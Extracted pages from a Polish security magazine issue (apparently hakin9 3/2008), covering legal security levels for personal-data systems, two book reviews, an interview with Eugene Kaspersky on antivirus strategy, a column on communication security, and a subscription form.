gdy  w  systemie  informatycznym 
nie  przetwarza  się  danych  wraż-
liwych
  (danych  ujawniających  po-
chodzenie  rasowe  lub  etniczne, 
poglądy  polityczne,  przekonania 
religijne  lub  filozoficzne,  przyna-
leżność wyznaniową, partyjną lub 
związkową, dane o stanie zdrowia, 
kodzie  genetycznym,  nałogach, 

życiu  seksualnym,  danych  doty-
czących  skazań,  orzeczeń  o  uka-
raniu, o mandatach karnych, orze-
czeń  wydanych  w  postępowaniu 
sądowym  lub  administracyjnym) 
oraz  żadne  z  urządzeń  systemu 
informatycznego nie jest połączo-
ne z siecią publiczną. Środki bez-
pieczeństwa  na  poziomie  podsta-
wowym określa część A załączni-
ka do rozporządzenia MSWiA. 

Na  poziomie  podstawowym 

stosuje  się  następujące  środki 
ochrony: administrator danych po-
winien zapewnić fizyczną kontrolę 
dostępu do obszaru przetwarzania 
danych osobowych określonego w 
polityce  bezpieczeństwa  danych 
osobowych  oraz  logiczną  kontro-
lę dostępu do danych przetwarza-
nych  w  systemie  informatycznym, 
stosując  mechanizm  w  postaci 
odrębnego  identyfikatora  i  ha-
sła  do  uwierzytelniania  użytkow-
ników  systemu.  Hasła  stosowane 
do  uwierzytelniania  użytkowników 
powinny składać się z co najmniej 
6 znaków i być zmieniane nie rza-
dziej  niż  co  30  dni.  System  infor-
matyczny  powinien  być  zabezpie-
czony  przed  oprogramowaniem 
szkodliwym  oraz  utratą  danych 
spowodowaną  awarią  zasilania
lub  zakłóceniami  w  sieci  zasilają-
cej.  Dane  przetwarzane  w  syste-
mie  należy  zabezpieczyć  wyko-
nując  kopie  zapasowe  –  zarówno 
zbiorów  danych,  jak  i  programów. 
Kopie  należy  przechowywać  w 
miejscach  zabezpieczonych  przed 
nieuprawnionym  przejęciem,  mo-
dyfikacją, uszkodzeniem lub znisz-
czeniem  (jak  najdalej  w  poziomie 

Tabela 2. 

Zawartość dokumentu Instrukcja zarządzania systemem 

informatycznym służącym do przetwarzania danych osobowych

Lp

Zawartość dokumentu 

Instrukcja zarządzania systemem informatycznym 

służącym do przetwarzania danych osobowych

1

Procedury nadawania uprawnień do przetwarzania danych i reje-
strowania tych uprawnień w systemie informatycznym oraz wskaza-
nie osoby odpowiedzialnej za te czynności

2

Stosowane metody i środki uwierzytelnienia oraz procedury związa-
ne z ich zarządzaniem i użytkowaniem

3

Procedury rozpoczęcia, zawieszenia i zakończenia pracy przezna-
czone dla użytkowników systemu

4

Procedury tworzenia kopii zapasowych zbiorów danych oraz progra-
mów i narzędzi programowych służących do ich przetwarzania

5

Sposób, miejsce i okres przechowywania: elektronicznych nośników 
informacji zawierających dane osobowe, kopii zapasowych zbiorów 
danych

6

Sposób zabezpieczenia systemu informatycznego przed działalno-
ścią oprogramowania, którego celem jest uzyskanie nieuprawnione-
go dostępu do systemu informatycznego

7

Sposób realizacji odnotowania informacji o odbiorcach, którym da-
ne osobowe zostały udostępnione, dacie i zakresie udostępnienia, 
chyba że system informatyczny używany jest do przetwarzania da-
nych w zbiorach jawnych

Rysunek 3. 

Poziomy bezpieczeństwa przetwarzania danych osobowych

�����������������������

�����������������

���������������������

������������������

�������������������

�������������

�����������������

������������������

����������

�����������

������

background image

hakin9 Nr 3/2008

www.hakin9.org

Bezpieczna firma

72

i  w  pionie  od  miejsca  ich  wytwo-
rzenia).  W  przypadku  stosowa-
nia  komputerów  przenośnych  do 
przetwarzania  danych  osobowych, 
należy  zapewnić  ochronę  krypto-
graficzną  danych  osobowych  prze-
twarzanych  poza  obszarem  prze-
twarzania. 

Urządzenia,  dyski,  elektro-

niczne nośniki informacji przezna-
czone  do  likwidacji  lub  przekaza-
nia  podmiotowi  nieuprawnionemu 
należy  pozbawić  zapisu  danych 
w  sposób  trwały,  a  w  przypadku 
ich  naprawy  –  naprawiać  je  pod 
nadzorem. 

Na  administratorze  danych 

spoczywa obowiązek monitorowa-
nia wdrożonych zabezpieczeń sys-
temu informatycznego.

Poziom podwyższony

Poziom  podwyższony  stosuje  się, 
gdy  w  systemie  informatycznym 
przetwarza się dane wrażliwe oraz 
żadne  z  urządzeń  systemu  infor-
matycznego  nie  jest  połączone 
z siecią publiczną. Środki bezpie-
czeństwa  na  poziomie  podwyż-
szonym określa część B załączni-
ka do rozporządzenia MSWiA. 

Na  poziomie  podwyższonym 

stosuje  się  –  zgodnie  z  zasadą 
kaskadowości  –  środki  ochrony 
właściwe  dla  poziomu  podstawo-
wego.  Dodatkowo  administrator 
danych ma obowiązek wdrożyć ni-
żej  wymienione  środki  ochrony. 
W  przypadku,  gdy  do  uwierzytel-
niania użytkowników systemu uży-
wa  się  hasła,  hasło  powinno  za-
wierać małe i duże litery oraz cyfry 
lub  znaki  specjalne  i  składać  się 
z  co  najmniej  8  znaków.  W  przy-

padku,  gdy  urządzenia  i  elektro-
niczne  nośniki  informacji  zawie-
rające  dane  osobowe  tzw.  wraż-
liwe
  przekazywane  są  poza 
obszar 

przetwarzania, 

nale-

ży  zabezpieczyć  je  w  spo-
sób  zapewniający  ochronę  po-
ufności  i  integralność  danych. 
Opis  zastosowanych  środków 
powinna 

określać 

instrukcja 

zarządzania  systemem  informa-
tycznym służącym do przetwarza-
nia danych osobowych
.

Poziom wysoki

Poziom  wysoki  stosuje  się,  gdy 
przynajmniej  jedno  urządzenie 
systemu informatycznego połączo-
ne  jest  z  siecią  publiczną.  Środki 
bezpieczeństwa  na  poziomie  wy-
sokim określa część C załącznika 
do rozporządzenia MSWiA. 

Na  poziomie  wysokim  stosu-

je  się  –  zgodnie  z  zasadą  kaska-
dowości  –  środki  ochrony  właści-
we  dla  poziomu  podwyższonego  i 
poziomu podstawowego. Dodatko-

Podstawowe pojęcia związane z bezpieczeństwem 

teleinformatycznym

•   dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możli-

wej do zidentyfikowania osoby fizycznej, 

•   administrator danych – organ, jednostka organizacyjna, podmiot lub osoba, 

decydująca o celach i środkach przetwarzania danych osobowych, 

•   administrator  bezpieczeństwa  informacji  –  osoba  nadzorująca  przestrze-

ganie zasad ochrony danych osobowych, 

•   zbiór danych – każdy posiadający strukturę zestaw danych o charakterze 

osobowym, dostępny według określonych kryteriów, niezależnie od tego, 
czy zestaw ten jest rozproszony lub podzielony funkcjonalnie,

•   przetwarzanie  danych  –  jakiekolwiek  operacje  wykonywane  na  danych 

osobowych,  takie  jak  zbieranie,  utrwalanie,  przechowywanie,  opracowy-
wanie, zmienianie, udostępnianie i usuwanie, a zwłaszcza te, które wyko-
nuje się w systemach informatycznych,

•   system informatyczny – zespół współpracujących ze sobą urządzeń, pro-

gramów, procedur przetwarzania informacji i narzędzi programowych za-
stosowanych w celu przetwarzania danych, 

•    zabezpieczenie danych w systemie informatycznym – wdrożenie i eksplo-

atacja  stosownych  środków  technicznych  i  organizacyjnych  zapewniają-
cych ochronę danych przed ich nieuprawnionym przetwarzaniem,

•   hasło – ciąg znaków literowych, cyfrowych lub innych, znany jedynie oso-

bie uprawnionej do pracy w systemie informatycznym,

•   identyfikator użytkownika – ciąg znaków literowych, cyfrowych lub innych, 

jednoznacznie identyfikujących osobę upoważnioną do przetwarzania da-
nych osobowych w systemie informatycznym

•   uwierzytelnianie – działanie, którego celem jest weryfikacja deklarowanej 

tożsamości podmiotu,

•   poufność danych – właściwość zapewniająca, że dane nie są udostępnia-

ne nieupoważnionym podmiotom,

•   rozliczalność – właściwość zapewniająca, że działania podmiotu mogą być 

przypisane w sposób jednoznaczny tylko temu podmiotowi, 

•   integralność danych – właściwość zapewniająca, że dane osobowe nie zo-

stały zmienione lub zniszczone w sposób nieautoryzowany,

•   usuwanie  danych  –  zniszczenie  danych  osobowych  lub  taka  ich  modyfi-

kacja, która nie pozwoli na ustalenie tożsamości osoby, której dane doty-
czą,

•   raport – przygotowane przez system informatyczny zestawienia zakresu i 

treści przetwarzanych danych,

•   teletransmisja – przesyłanie informacji za pośrednictwem sieci telekomuni-

kacyjnej,

•   sieć publiczna – publiczna sieć telekomunikacyjna wykorzystywana głów-

nie do świadczenia publicznie dostępnych usług telekomunikacyjnych.

Tabela 3. 

Poziomy bezpieczeństwa 

przetwarzania danych osobowych w 
systemie informatycznym

Lp. Poziomy bezpieczeństwa

przetwarzania danych 

osobowych w systemach 

informatycznych

1

podstawowy

2

podwyższony

3

wysoki

background image

hakin9 Nr 3/2008

73

wo administrator danych ma obowiązek wdrożyć ni-
żej wymienione środki ochrony. System informatycz-
ny  należy  chronić  przed  zagrożeniami  pochodzący-
mi  z  sieci  publicznej  poprzez  wdrożenie  fizycznych 
lub logicznych zabezpieczeń chroniących przed nie-
uprawnionym dostępem. 

W przypadku zastosowania logicznych zabezpie-

czeń  należy  zapewnić  kontrolę  przepływu  informa-
cji  pomiędzy  systemem  informatycznym  administra-
tora  danych  a  siecią  publiczną  oraz  kontrolę  dzia-
łań inicjowanych z sieci publicznej i systemu informa-
tycznego administratora danych (np. poprzez zasto-
sowanie  zapory  ogniowej).  W  przypadku,  gdy  dane 
do uwierzytelniania użytkowników systemu przesyła-
ne  są  w  sieci  publicznej,  należy  zastosować  środki 
ochrony kryptograficznej.

Szczegółowe informacje na temat środków ochro-

ny  na  poszczególnych  poziomach  bezpieczeństwa 
określa załącznik do rozporządzenia MSWiA. 

Należy  zauważyć,  że  wyżej  wymienione  rozpo-

rządzenie określa minimalne wymagania w zakresie 
bezpieczeństwa teleinformatycznego danych osobo-
wych. 

Administrator  danych  może  dodatkowo  zastoso-

wać inne środki ochrony w celu zapewnienia bezpie-
czeństwa  przetwarzania  danych  osobowych,  niż  to 
wynika  z  wymagań  określonych  w  ustawie  i  rozpo-
rządzeniu MSWiA.

Podsumowanie

Przepisy  prawa  określają  minimalne  wymagania 
związane  z  bezpieczeństwem  teleinformatycznym 
danych osobowych. 

Oprócz  nich  należy  uwzględnić  zalecenia  Ge-

neralnego  Inspektora  Ochrony  Danych  Osobowych 
dotyczące  problematyki  bezpieczeństwa  teleinfor-
matycznego  danych  osobowych  oraz  polskie  normy 
dotyczące  bezpieczeństwa  informacji,  które  stano-
wią źródło tzw. dobrych praktyk, a w szczególności: 
PN-ISO/IEC  17799:  2007  Technika  informatyczna 
– Techniki bezpieczeństwa – Praktyczne zasady za-
rządzania bezpieczeństwem informacji 
PN-ISO/IEC 
27001: 2007 Technika informatyczna – Techniki bez-
pieczeństwa  –  Systemy  zarządzania  bezpieczeń-
stwem informacji – Wymagania. 
l

O autorze

Audytor  systemów  zarządzania  jakością  i  zarządzania  bez-
pieczeństwem  informacji,  specjalista  w  zakresie  ochrony  in-
formacji prawnie chronionych, redaktor portalu www.ochrona-
informacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl

background image

hakin9 Nr 3/2008

www.hakin9.org

74

Księgozbiór

Tytuł: Cisco PIX. Firewalle

Autorzy: zespół autorów

Wydawca: Helion

Rok wydania w Polsce: 2006

Liczba stron: 544

Jedna  z  niewielu  pozycji  książkowych,  która  w  sposób 
bardzo  szczegółowy  podchodzi  do  tematu  firewalli  PIX 
firmy Cisco. W początkowych rozdziałach tej książki omó-
wione  zostały  teoretyczne  podstawy  bezpieczeństwa 
zapór  sieciowych.  Na  uwagę  zasługuje  ukazanie  –  na 
przykładzie  Cisco  Wheel  –  procesowego  podejścia  do 
bezpieczeństwa, które staje się bardzo popularne i zosta-
nie  standardem  nie  tylko  dla  urządzeń  produkowanych 
przez Cisco. Dla raczkujących w dziedzinie zabezpieczeń 
przeznaczony  jest  opis  certyfikatów  Cisco  dotyczących 
firewalli, co zapewne pomoże takim użytkownikom wybrać 
właściwą drogę rozwoju. Kolejne rozdziały zawierają już 
bardziej praktyczne informacje. Dotyczą one posługiwania 
się  samymi  firewallami  oraz  ich  działania,  licencjonowa-
nia, protokołów transmisji czy też komunikacji z tymi urzą-
dzeniami. W dalszej części tekstu można prześledzić funk-
cjonowanie ASDM – czyli przyjaznego menu, służącego 
do konfiguracji i monitorowania urządzenia bezpośrednio 

z sieci. W książce znajdziemy również wiele informacji na 
temat bezpiecznej konfiguracji VPN. Całość jest doskona-
le skomponowana, o czym świadczy dobre uzupełnienie 
materiałów  praktycznych  o  niezbędne  informacje  teore-
tyczne. Jest to jedna z tych pozycji, którą dla powiększenia 
swojej  wiedzy  można  przeczytać  od  początku  do  końca 
lub  odnosząc  się  tylko  do  poszczególnych  rozdziałów,  z 
których każdy stanowi niezależną całość. Wielokrotnie w 
swojej codziennej pracy sięgałem do tej książki, stanowi 
ona  uzupełnienie  mojej  wiedzy  w  zakresie  firewalli  PIX. 
Książka zawiera bardzo wyczerpujący opis firewalli PIX, 
metod ich konfiguracji oraz administracji nimi. Wszystko to 
zostało  opisane  w  sposób  wyjątkowo  czytelny,  w  zrozu-
mieniu tekstu pomoże szeroki zestaw screenshotów, sche-
matów oraz przykładów sesji terminalowych urządzenia. 
To bardzo przydatna książka, którą powinien mieć każdy 
administrator zarządzający firewallami PIX.

Jarosław Peterko

Tytuł: Windows Server 2003. Bezpieczeństwo sieci

Autorzy: Neil Ruston, Chris Peiris, Laura Hunter

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 584

Książka Windows Server 2003. Bezpieczeństwo sieci to 
kompendium wiedzy na temat tego systemu operacyjne-
go w aspekcie bezpieczeństwa sieci. Publikacja jest adre-
sowana do administratorów oraz osób projektujących sieci 
komputerowe. Książka ta bardzo dobrze ukazuje problema-
tykę bezpieczeństwa sieci w środowiskach opartych o system 
Windows Server 2003. Autorzy krok po kroku wprowadzają 
w coraz ważniejsze i bardziej skomplikowane mechanizmy 
zabezpieczeń,  wspierając  Czytelnika  przykładami  konfigu-
racji systemu. Publikacja zawiera informacje, które pozwo-
lą  na  zaprojektowanie  oraz  funkcjonowanie  bezpiecznego 
środowiska.  Zawarte  zostały  również  informacje  odnośnie 
zaprojektowania bezpiecznej infrastruktury klienckiej. Książ-
ka przedstawia także metody wykrywania naruszeń bezpie-
czeństwa oraz schemat postępowania w takich sytuacjach. 
Czytelnik znajdzie tu kompletne informacje na temat zabez-
pieczenia sieci od podstaw, jak również szczegółowe dane 
na temat usług zaimplementowanych w systemie Windows 

Server 2003 w kontekście zabezpieczeń. Autorzy rozpoczy-
nają książkę od omówienia podstaw bezpieczeństwa obo-
wiązujących dla wszystkich środowisk serwerowych, których 
zrozumienie  umożliwia  projektowanie  bezpiecznych  sieci. 
W  dalszej  części  publikacji  zostają  szczegółowo  omówio-
ne mechanizmy zabezpieczeń dla usług sieciowych, którymi 
dysponuje Windows Server 2003. Przykładem usługi, która 
została opisana w książce, jest IIS. Od niedawna usługa IIS 
zdobywa coraz większą popularność, książka zawiera infor-
macje  pozwalające  zabezpieczyć  witrynę  opartą  o  Active 
Server  Pages
.  Moim  zdaniem  wśród  opisanych  rozwiązań 
praktycznych  brakuje  szerszego  przedstawienia  problemu 
bezpieczeństwa  usług  terminalowych  oraz  protokołu  RDP, 
które to usługi są coraz szerzej wykorzystywane. 

 Książka jest warta polecenia administratorom oraz pro-

jektantom  środowisk  opartych  o  system  Windows  Server 
2003. 

Rafał Pop

background image
background image

www.hakin9.org

hakin9 Nr 3/2008

76

Wywiad

hakin9:

 Czy mógłbyś przedstawić się naszym 

Czytelnikom?

Eugene  Kaspersky:

  Nazywam  się  Euge-

ne Kaspersky i jestem założycielem oraz CEO 
(Chief  Executive  Officer)  firmy  Kaspersky  Lab, 
jednego  z  wiodących  producentów  dostarcza-
jących  bezpiecznych  rozwiązań  informatycz-
nych na całym świecie. Przez ostatnie 18 lat mia-
łem do czynienia z zagrożeniami komputerowy-
mi – zaczynając od konwencjonalnych wirusów 
jeszcze w 1989 roku, na nowoczesnych, złożo-
nych i gwałtownie rosnących liczebnie niebezpie-
czeństwach internetowych kończąc.

h9:

 Czy mógłbyś wyjawić sekrety dotyczące stra-

tegii firmy Kaspersky w nadchodzącym 2008 ro-
ku?

EK:

  W  pierwszej  kolejności  planujemy  umoc-

nić  naszą  obecność  na  wszystkich  obszarach 
geograficznych.  W  chwili  obecnej  przodujemy 
w sprzedaży w Europie i Stanach Zjednoczonych 
(zajmujemy pierwsze miejsce w handlu detalicz-
nym w Niemczech, Austrii i Szwajcarii, drugie we 
Francji oraz trzecie w Hiszpanii), lecz nadal za-
leży nam na zdobyciu lepszej pozycji w krajach 
Ameryki  Łacińskiej,  Azji,  na  Bliskim  Wschodzie 
czy w Afryce. Na drugim miejscu stawiamy po-
dążanie za postępem technologicznym oraz cią-

gły rozwój najlepszych na świecie rozwiązań an-
tywirusowych.

I po trzecie, w 2008 roku zamierzamy skupić 

się na umocnieniu pozycji na rynku rozwiązań ko-
mercyjnych. W chwili obecnej obserwujemy za-
skakujący  wzrost  sprzedaży  produktów  skiero-
wanych do użytkownika domowego, lecz najwyż-
sza  pora  na  przejęcie  rynku  biznesowego.  Po-
siadamy w ofercie kilka korporacyjnych produk-
tów, które skupiają na sobie uwagę coraz więk-
szej ilości klientów z całego świata, od Australii 
do Szwecji.

Ponadto  planujemy  kontynuować  rozwijanie 

naszych  bezpiecznych  usług  oferowanych  fir-
mom.  W  wielu  przypadkach  rozwiązania  te  są 
najbardziej  odpowiednie  dla  określonego  typu 
biznesu,  który  nie  może  sobie  pozwolić  na  za-
kup  dodatkowego  wyposażenia,  oprogramowa-
nia oraz zatrudnienia dodatkowych oficerów bez-
pieczeństwa.  Myślę,  iż  jest  to  bardzo  obiecują-
cy rynek.

h9:

 Kto wprowadził cię w świat komputerów?

EK:

 Początkowo komputery pojawiły się w mo-

im  życiu  z  powodu  moich  matematycznych 
studiów na uczelni. W tamtych czasach kompu-
tery były narzędziem służącym mojej matematy-
ce i edukacji, wliczając w to częściowo informaty-

Wywiad z Eugenem 

Kasperskym 

Eugene Kaspersky należy do 

czołowych ekspertów w dziedzinie 

bezpieczeństwa informacji: jest 

autorem wielu artykułów

i recenzji dotyczących problematyki 

wirusologii komputerowej, regularnie 

przemawia na specjalistycznych 

seminariach i konferencjach 

organizowanych na całym świecie.

background image

hakin9 Nr 3/2008

www.hakin9.org

77

Wywiad

kę. Z pierwszym wirusem miałem do czynienia kilka lat póź-
niej, w 1989, podczas mojej służby wojskowej, gdy do mo-
ich obowiązków należało programowanie i gdzie posiada-
łem dostęp do niesamowicie zaawansowanej maszyny jak 
na tamte czasy i moje stanowisko – Olivetti M24. Maszy-
na ta została niespodziewanie zainfekowana powszechnie 
znanym wirusem Cascade, który był pierwszym złośliwym 
oprogramowaniem, które przeanalizowałem i na które stwo-
rzyłem lekarstwo.

h9:

  Czy  byłeś  dzieckiem  blackhat,  jak  wielu  Czytelników 

magazynu hakin9 w latach 80-90?

EK:

 Nigdy. W latach 80-tych i wczesnych 90-tych pracowa-

łem nad bezpieczeństwem komputerowym i nie miało to nic 
wspólnego z terminami blackhat czy hacking. Ponadto wie-
rzę w czarny i biały wszechświat – jeśli raz spróbowałeś nie-
legalnych działań, nigdy już nie będziesz w stanie przejść 
na dobrą stronę i chronić ludzi. I jako ostatnie pragnę zazna-
czyć, iż żaden były haker nie pracuje w mojej firmie, mimo, 
że kilku z nich przysyła nam od czasu do czasu swoje CV.

h9:

 AV bazujące na sygnaturach były mocno krytykowane. 

Czy sądzisz, że ten trend zmieni się w przyszłości?

EK:

  Oczywistym  jest  fakt,  iż  w  dzisiejszych  czasach  ob-

serwujemy  wzrost  ilości  złośliwego  oprogramowania,
 a w związku z tym coraz trudniej będzie borykać się z tym 
problemem firmom zajmującym się bezpieczeństwem. Jak-
kolwiek, obecnie wszystkie największe firmy są przygoto-
wane do tego wzrastającego trendu, a metoda bazująca na 
sygnaturach pozostaje głównym i najbardziej precyzyjnym 
sposobem wykrywania i neutralizowania zagrożeń. Oczy-
wiście heurystyka i detekcja opierająca się na analizie za-
chowawczej  będą  odgrywały  coraz  większą  rolę,  równo-
cześnie  zwiększając  efektywność,  lecz  nie  sądzę,  aby  te 
metody były w stanie całkowicie zastąpić metodę bazują-
cą na sygnaturach.

h9:

  W  jaki  sposób  utrzymujecie  precyzyjność  sygnatur 

AV?

EK: 

Jeśli masz na myśli, w jaki sposób wykluczamy fał-

szywe trafienia – robimy to za pomocą podwójnych i po-
trójnych testów na wszystkich sygnaturach zagrożeń. Te-
stujemy je i analizujemy pod kątem rzekomego złośliwe-
go  zachowania,  z  zachowaniem  zasady,  aby  nie  doda-
wać sygnatury w przypadku nieszkodliwego i użyteczne-
go oprogramowania.

h9:

 Jak zamierzacie rywalizować w istniejącym wyścigu 

oprogramowania AV?

EK:

 To zabawne pytanie, gdyż już obecnie współzawod-

niczymy w świecie oprogramowania AV. Aktualnie nasza 
firma znajduje się na 6 pozycji na rynku globalnych bez-
piecznych rozwiązań i w roku 2008 mamy nadzieję zająć 
5 miejsce. Ale oczywiście nie jest to nasz jedyny cel.

h9:

 Co robić przeciwko wirusom polimorficznym?

EK:

 To jest bardzo dobre pytanie, na które nie jest łatwo 

odpowiedzieć, gdyż jest ono zbyt techniczne. Przeciwko 
poliwirusom  używamy  różnych  metod,  takich  jak:  emu-
lacja, detekcja szkieletowa, analiza statystyczna, metody 
kryptologiczne i inne – w zależności od konkretnie zasto-
sowanego algorytmu polimorficznego.

h9:

 Nadal istnieje wielu dostawców AV, których produkty 

bazują jedynie na detekcji sygnatur.

EK:

 Tak, nadal jest kilka takich firm, lecz ich sytuacja jest 

bez nadziei na poprawę. Będą musieli dorównać pozo-
stałym lub staną się historią. Analizy oparte jedynie na 
sygnaturach, nie mogą mierzyć się z tysiącami nowego 
złośliwego oprogramowania powstającymi każdego tygo-
dnia i proaktywne technologie staną się koniecznym uzu-
pełnieniem dla metod opartych o wyłącznie o sygnatury.

h9:

 Jakie narzędzia są używane w twojej firmie lub z ja-

kich narzędzi korzystacie przy tworzeniu własnych?

EK:

  Częściowo  używamy  popularnych  narzędzi  przy-

gotowanych przez inne firmy zajmujące się bezpieczeń-
stwem. Czasami jednak nasze zadanie jest zbyt unikalne 
(na  przykład  jesteśmy  jedynymi,  którzy  stosują  aktuali-
zacje sygnatur co godzinę), więc musimy tworzyć i uży-
wać nasze własne narzędzia. Korzystamy z zaprojekto-
wanych  przez  nas  samych,  automatycznych  analizato-
rów złośliwego oprogramowania oraz analizatorów heu-
rystycznych.

h9:

 Czy wierzysz, iż wielu badaczy tworzy złośliwe opro-

gramowanie?

EK:

 Cóż, 25 czy nawet 15 lat temu to się zdarzało, lecz 

nie w chwili obecnej. Na przykład pierwszy wirus na plat-
formę biurową został utworzony w 1982 roku przez ba-
daczy,  w  celu  udowodnienia  teorii  o  możliwości  istnie-
nia  samo-rozprzestrzeniającego  się  oprogramowania. 
Obecnie twórcy wirusów nie są badaczami ani chuligana-
mi – są kryminalistami i ich głównym celem jest cel przy-
świecający wszystkim przestępcom – nielegalne zarabia-
nie pieniędzy. Najpopularniejsze złośliwe oprogramowa-
nie zostało w większości stworzone wyłącznie w jednym 
celu – by generować nielegalne dochody. Kradzież da-
nych dotyczących kart kredytowych, ataki DDoS, SPAM 
– to tylko kilka przykładów na zarabianie przy pomocy mal-
ware'u
. Wszystko, co miało zostać odkryte na tym polu, zo-
stało wynalezione, teraz ta wiedza jest jedynie wprowadza-
na w życie.

h9: 

Dziękujemy za rozmowę.

EK: 

Dziękuję.

background image

hakin9 Nr 3/2008

www.hakin9.org

78

Z

ałóżmy,  że  istnieje  komunikacja,  w  której  kompu-
ter  występuje  tylko,  jako  specjalistyczne  medium, 
przystosowane do warunków stawianych tej komu-

nikacji, przez które zachodzi owa komunikacja. Załóżmy, 
że  komunikacja  ta  potrafi  zapewnić  takie  same  warunki 
transmisji  bez  względu  na  rodzaj  przesyłanych  danych. 
Posiada  ona  zdolność  realizacji  transmisji  (dostarczania 
i odbierania informacji) w dokładnie wyznaczonym przez 
użytkownika czasie. Rozpoczęta transmisja będzie posia-
dać zdolność do odtwarzania przekazywanych informacji 
pomiędzy  dwoma  punktami  komunikacyjnymi  (np.  klien-
tem i serwerem) z wymaganą przez użytkownika dokład-
nością. Pod pojęciem dokładności kryje się tutaj zdolność 
zachowania  identycznej  treści  informacji  wysłanej  przez 
nadawcę i dostarczonej do odbiorcy. Oczywiście, najważ-
niejszym  założeniem  komunikacji  jest  jej  poufność,  czyli 
uniemożliwienie do przechwycenia nawiązanej łączności.

Posiadając zdefiniowane podstawowe założenia, które 

spełnia  technologia,  należy  do  niej  przygotować  odpo-
wiednich  operatorów,  czyli  osoby  funkcyjne  przestrzega-
jące  warunków  bezpieczeństwa  łączności.  Osoby  uży-
wające  z  założenia  bezpiecznej  transmisji  same  muszą 
postępować  według  ściśle  określonych  reguł,  by  poziom 
poufności  komunikacji  nie  został  naruszony  poprzez  jej 
nieodpowiednie  wykorzystanie.  Z  założenia  osoby  takie 
powinny    wyłącznie  transmitować  za  jej  pomocą  wiado-
mości  niezbędne  do  przekazania  zamierzonych  informa-
cji, wykorzystywać tylko łącza między zaufanymi i ziden-
tyfikowanymi  punktami  komunikacyjnymi,  dokonywać 
okresowych  zmian  w  kryptografii  transmisji  z  osobistym 
powiadomieniem  drugiej  strony  o  zaistniałym  fakcie, 
a  w  przypadku  łączności  bezprzewodowej  –  pracować 
z  minimalną,  niezbędną  mocą  urządzeń  transmisyjnych, 
stosując  anteny  kierunkowe,  pozostające  w  minimalnej 
widoczności; w przypadku łączności mobilnej – wybierać 
właściwe  miejsca  na  dokonywanie  komunikacji.  Poprzez 
stosowanie  się  do  tych  postanowień  wyznaczamy  tylko 
pewien  procent  pełnej  zgodności  z  bezpieczeństwem 
komunikacji,  ponieważ  np.  dokonując  okresowych  zmian 
w kodowaniu łącza nie możemy sobie pozwolić na zmianę 
danych kryptograficznych w innym terminie, niż to zosta-
ło uzgodnione z drugą stroną. Ponadto do listy zakazów 
możemy dodać zapisywanie kluczy, loginów i danych iden-

Założenia komunikacji

tyfikacyjnych  na  nie  rejestrowanych  nośnikach  danych. 
Mając  na  myśli  wiadomości  niezbędne  do  przekazania 
zamierzonych  informacji
  wyklucza  się  ujawnianie  w  trak-
cie  komunikacji  takich  informacji  jak:  przyjętych  nicków 
czy  kryptonimów,  pełnych  lub  częściowych  danych  per-
sonalnych  (nazwisk,  posad,  stanowisk,  adresów),  lokali-
zacji środków łączności, terminów nawiązywania kolejnych 
transmisji czy podsumowań wymiany informacji. 

Wszystkie te wytyczne i założenia stanowią zaledwie 

część  pełnych  zasad  bezpieczeństwa  komunikacji.  Mają 
one  na  celu  uniemożliwienie  osobie  postronnej  ingeren-
cji w naszą komunikację, jej przechwycenie oraz lokaliza-
cję środków łączności czy rozpoznanie osób ją nawiązu-
jących. Widocznym na pierwszy rzut oka jest fakt bardzo 
restrykcyjnych  i  ograniczających  etykiet  w  swobodzie 
przepływu informacji. Co zawsze paradoksalnie wpływa-
ło  na  stosunek:  bezpieczeństwo  –  swoboda,  ponieważ 
najważniejszymi  założeniami  komunikacji  jest  swobod-
ne  przekazywanie  informacji  z  zachowaniem  najwięk-
szej jej poufności. Dlatego w wielu projektach komunika-
cyjnych, w wyniku znalezienia kompromisu między tymi 
dwoma z natury sprzecznymi zjawiskami, powstaje luka, 
której  wykorzystanie  zazwyczaj  opiera  się  na  wykorzy-
staniu słabości bezpieczeństwa w celu dotarcia do swo-
bodnie  przekazywanych  informacji.  Rezygnując  z  prze-
kazywania  wrażliwych  z  punktu  widzenia  możliwości 
wykorzystania informacji, unikamy ryzyka nawet w przy-
padku  przełamania  zabezpieczeń  komunikacji.  Jednak 
z założenia głównym celem komunikacji jest przekazywa-
nie właśnie takich informacji. W tym klasycznym modelu 
o  swobodzie  i  bezpieczeństwie  komunikacji  decyduje 
zarówno nadawca, jak i odbiorca informacji. Jeśli, mimo 
stosowanych zasad, nadawca osiągnął to, o co mu cho-
dziło,  a  odbiorca  otrzymał  to,  na  co  oczekiwał  –  jakość 
komunikacji jest wysoka. Jeśli nadawca prosi o wykonanie 
danej  czynności,  a  odbiorca  ją  wykonuje  –  komunikacja 
jest skuteczna. Jeśli podczas komunikacji odbiorca może 
stosować dopytywanie, parafrazowanie lub empatyzowa-
nie  informacji  przekazywanych  przez  nadawcę  –  komu-
nikacja  jest  swobodna.  Natomiast  jeśli  wszystkie  powyż-
sze trzy warunki są spełnione jednocześnie – komunikacja 
nigdy nie będzie postrzegana jako bezpieczna, bez wzglę-
du na stosowaną technologię. l

Patryk Krawaczyński agresor@nfsec.pl

Felieton

background image

Tytuł

Ilość numerów 

w roku

Ilość zamawianych 

prenumerat

Od numeru pisma 

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy  zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe                      

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 427 36 69 

lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, 

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne: 

(22) 427 36 79

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma 

